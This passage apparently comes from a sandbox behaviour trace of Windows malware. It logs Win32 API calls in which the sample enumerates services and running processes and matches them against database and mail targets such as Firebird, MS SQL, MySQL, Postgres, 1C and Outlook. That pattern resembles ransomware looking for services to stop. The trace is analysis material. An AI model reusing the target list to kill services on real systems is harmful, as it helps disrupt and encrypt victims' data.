(lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0157.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0157.524] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0157.524] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0157.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0157.524] lstrlenW (lpString="nsi") returned 3 [0157.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0157.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0157.524] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0157.524] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0157.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0157.524] lstrlenW (lpString="PcaSvc") returned 6 [0157.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0157.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0157.524] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0157.524] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0157.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0157.524] lstrlenW (lpString="PlugPlay") returned 8 [0157.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0157.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0157.524] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0157.524] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0157.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0157.524] lstrlenW (lpString="Power") returned 5 [0157.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0157.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0157.524] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0157.524] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0157.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0157.524] lstrlenW (lpString="ProfSvc") returned 7 [0157.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0157.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0157.525] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0157.525] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0157.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0157.525] lstrlenW (lpString="RpcEptMapper") returned 12 [0157.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.525] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0157.525] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0157.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0157.525] lstrlenW (lpString="RpcSs") returned 5 [0157.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0157.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0157.525] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0157.525] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0157.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0157.525] lstrlenW (lpString="SamSs") returned 5 [0157.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0157.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0157.525] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0157.525] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0157.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0157.525] lstrlenW (lpString="Schedule") returned 8 [0157.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0157.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0157.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0157.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0157.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0157.525] lstrlenW (lpString="SENS") returned 4 [0157.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0157.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0157.526] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0157.526] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0157.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0157.526] lstrlenW (lpString="ShellHWDetection") returned 16 [0157.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.526] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0157.526] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0157.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0157.526] lstrlenW (lpString="Spooler") returned 7 [0157.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0157.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0157.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0157.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0157.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0157.526] lstrlenW (lpString="SysMain") returned 7 [0157.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0157.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0157.526] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0157.526] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0157.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0157.526] lstrlenW (lpString="Themes") returned 6 [0157.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0157.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0157.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0157.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0157.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0157.526] lstrlenW (lpString="TrkWks") returned 6 [0157.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0157.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0157.526] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0157.526] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0157.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0157.527] lstrlenW (lpString="UxSms") returned 5 [0157.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0157.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0157.527] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0157.527] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0157.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0157.527] lstrlenW (lpString="WdiServiceHost") returned 14 [0157.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0157.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0157.527] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0157.527] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0157.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0157.527] lstrlenW (lpString="WdiSystemHost") returned 13 [0157.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0157.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0157.527] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0157.527] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0157.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0157.527] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0157.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0157.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0157.527] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0157.527] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0157.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0157.527] lstrlenW (lpString="Winmgmt") returned 7 [0157.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0157.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0157.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0157.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0157.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0157.527] lstrlenW (lpString="WPDBusEnum") returned 10 [0157.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0157.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0157.528] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0157.528] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0157.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0157.528] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x43461b8 | out: hHeap=0x630000) returned 1 [0157.528] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0157.529] Process32FirstW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.530] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0157.530] lstrlenW (lpString="System") returned 6 [0157.530] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0157.530] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0157.530] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0157.530] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0157.530] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0157.530] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0157.530] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0157.530] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0157.531] lstrlenW (lpString="smss.exe") returned 8 [0157.531] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0157.531] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0157.531] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0157.531] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0157.531] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0157.531] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0157.531] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0157.531] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0157.531] lstrlenW (lpString="csrss.exe") returned 9 [0157.531] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0157.531] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0157.531] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0157.531] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0157.531] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0157.531] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0157.531] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0157.531] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0157.532] lstrlenW (lpString="wininit.exe") returned 11 [0157.532] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0157.532] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0157.532] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0157.532] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0157.532] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0157.532] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0157.532] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0157.532] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0157.532] lstrlenW (lpString="csrss.exe") returned 9 [0157.532] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0157.532] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0157.532] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0157.532] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0157.532] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0157.532] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0157.532] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0157.533] lstrlenW (lpString="winlogon.exe") returned 12 [0157.533] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0157.533] lstrlenW (lpString="services.exe") returned 12 [0157.533] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0157.533] lstrlenW (lpString="lsass.exe") returned 9 [0157.533] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0157.534] lstrlenW (lpString="lsm.exe") returned 7 [0157.534] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.534] lstrlenW (lpString="svchost.exe") returned 11 [0157.534] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.534] lstrlenW (lpString="svchost.exe") returned 11 [0157.534] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.535] lstrlenW (lpString="svchost.exe") returned 11 [0157.535] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.535] lstrlenW (lpString="svchost.exe") returned 11 [0157.535] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.535] lstrlenW (lpString="svchost.exe") returned 11 [0157.535] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0157.536] lstrlenW (lpString="audiodg.exe") returned 11 [0157.536] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.536] lstrlenW (lpString="svchost.exe") returned 11 [0157.536] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0157.536] lstrlenW (lpString="explorer.exe") returned 12 [0157.536] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0157.537] lstrlenW (lpString="dwm.exe") returned 7 [0157.537] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.537] lstrlenW (lpString="svchost.exe") returned 11 [0157.537] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0157.537] lstrlenW (lpString="n.exe") returned 5 [0157.537] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0157.538] lstrlenW (lpString="spoolsv.exe") returned 11 [0157.538] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.538] lstrlenW (lpString="svchost.exe") returned 11 [0157.538] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0157.538] lstrlenW (lpString="taskhost.exe") returned 12 [0157.538] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0157.539] lstrlenW (lpString="reader_sl.exe") returned 13 [0157.539] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0157.539] lstrlenW (lpString="rundll32.exe") returned 12 [0157.539] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0157.539] lstrlenW (lpString="n.exe") returned 5 [0157.539] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0157.540] lstrlenW (lpString="dllhost.exe") returned 11 [0157.540] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0157.540] lstrlenW (lpString="dllhost.exe") returned 11 [0157.540] Process32NextW (in: hSnapshot=0x25c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0157.540] CloseHandle (hObject=0x25c) returned 1 [0157.540] Sleep (dwMilliseconds=0x1f4) [0158.116] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42dccb8 [0158.116] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0158.116] GetLastError () returned 0xea [0158.116] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x43461b8 [0158.116] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43461b8, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43461b8, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0158.117] CloseServiceHandle (hSCObject=0x42dccb8) returned 1 [0158.117] lstrlenW (lpString="Appinfo") returned 7 [0158.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0158.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0158.117] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0158.117] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0158.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0158.117] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0158.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.117] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0158.117] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0158.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0158.117] lstrlenW (lpString="AudioSrv") returned 8 [0158.117] 